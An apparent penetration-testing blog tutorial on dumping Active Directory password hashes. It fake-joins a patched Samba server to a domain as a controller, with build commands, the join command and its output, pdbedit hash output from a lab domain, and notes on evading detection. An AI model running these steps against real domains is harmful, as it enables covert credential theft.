So there was this blog post that talking about a number of ways to dump windows credentials by @lanjelot [definitly someone to follow] - here: and at the very bottom of this post it says “AD Replication (EXPERIMENTAL)

What it boils down to is if you can position a system that can do DNS resolution to the target domain, and perform some other UDP traffic, you can fake join a samba server you control to a domain and it doesn’t require code execution in any way on the domain controller.

Notice: I am not doing this on a Kali Linux box, there is already an install of Samba there and I didn’t want to try uninstalling or modifying the one installed.

First, you need this patch:


and Samba 4.1.0


You will probably also require some dependencies to be installed:

apt-get install python2.7-dev python-samba libacl1-dev build-essential libldap2-dev libkrb5-dev attr

Since the patch is kinda wonky, you need to make a src directory and extract samba into there first. Then apply the patch in whatever directory is above src

mkdir src
mv samba-4.1.0.tar.gz src/
cd src/
tar zxvf samba-4.1.0.tar.gz
cd /root/

So it would look like this:


then run patch -p0 < samba-4.1.0_replication-only-patch.txt

cd ./src/samba-4.1.0/
make install

Prepare the box:

rm -rf /var/lib/samba; mkdir /var/lib/samba; rm -f /etc/samba/smb.conf

Next you need to make sure you are resolving correctly (if you can’t resolve the SRV record ( being the domain) then this isn’t going to work.

echo nameserver > /etc/resolv.conf # this is the IP address of the DC

Then start the clone:

/usr/local/samba/bin/samba-tool domain join DC -U sittingduck\\administrator

Looks like this:

root@sambabox:~/src/samba-4.1.0# /usr/local/samba/bin/samba-tool domain join DC -U sittingduck\\administrator
Finding a writeable DC for domain ''
Found DC
Password for [SITTINGDUCK\administrator]:
workgroup is SITTINGDUCK
realm is
Calling bare provision
No IPv6 address will be assigned
Provision OK for domain DN DC=sittingduck,DC=info
Starting replication
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[402] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[804] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[1206] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[1521] linked_values[0]
Analyze and apply schema objects
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[402] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[804] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1206] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1608] linked_values[1]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1614] linked_values[11]
Replicating critical objects from the base DN of the domain
Partition[DC=sittingduck,DC=info] objects[100] linked_values[24]
Partition[DC=sittingduck,DC=info] objects[353] linked_values[27]
Done with always replicated NC (base, config, schema)
Committing SAM database
descriptor_sd_propagation_recursive: DC=DomainDnsZones,DC=sittingduck,DC=info not found under DC=sittingduck,DC=info
descriptor_sd_propagation_recursive: DC=ForestDnsZones,DC=sittingduck,DC=info not found under DC=sittingduck,DC=info
Joined domain SITTINGDUCK (SID S-1-5-21-3147519476-3247671789-820278723) as a DC

Then to get the hashes:

root@sambabox:~# /usr/local/samba/bin/pdbedit -L -w
2K8DC$:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:CB14F1166BBE1749AC0FB40240C5DC30:[S          ]:LCT-530FC425:
Administrator:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[U          ]:LCT-531006A4:
uber:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[UX         ]:LCT-53101261:

Or you can do it with history:

root@sambabox:~# python /usr/local/samba/private/sam.ldb.d/DC\=SITTINGDUCK\,DC\=INFO.ldb -history

Game over. The great thing is that it never actually shows up as a joined box in the domain, and as far as I can tell the only log on the real DC is the login success of a domain admin. Plus one of the huge benefits to this method is that once you have the database Samba makes it really easy to query information like group membership or users info after the fact, not just hashes.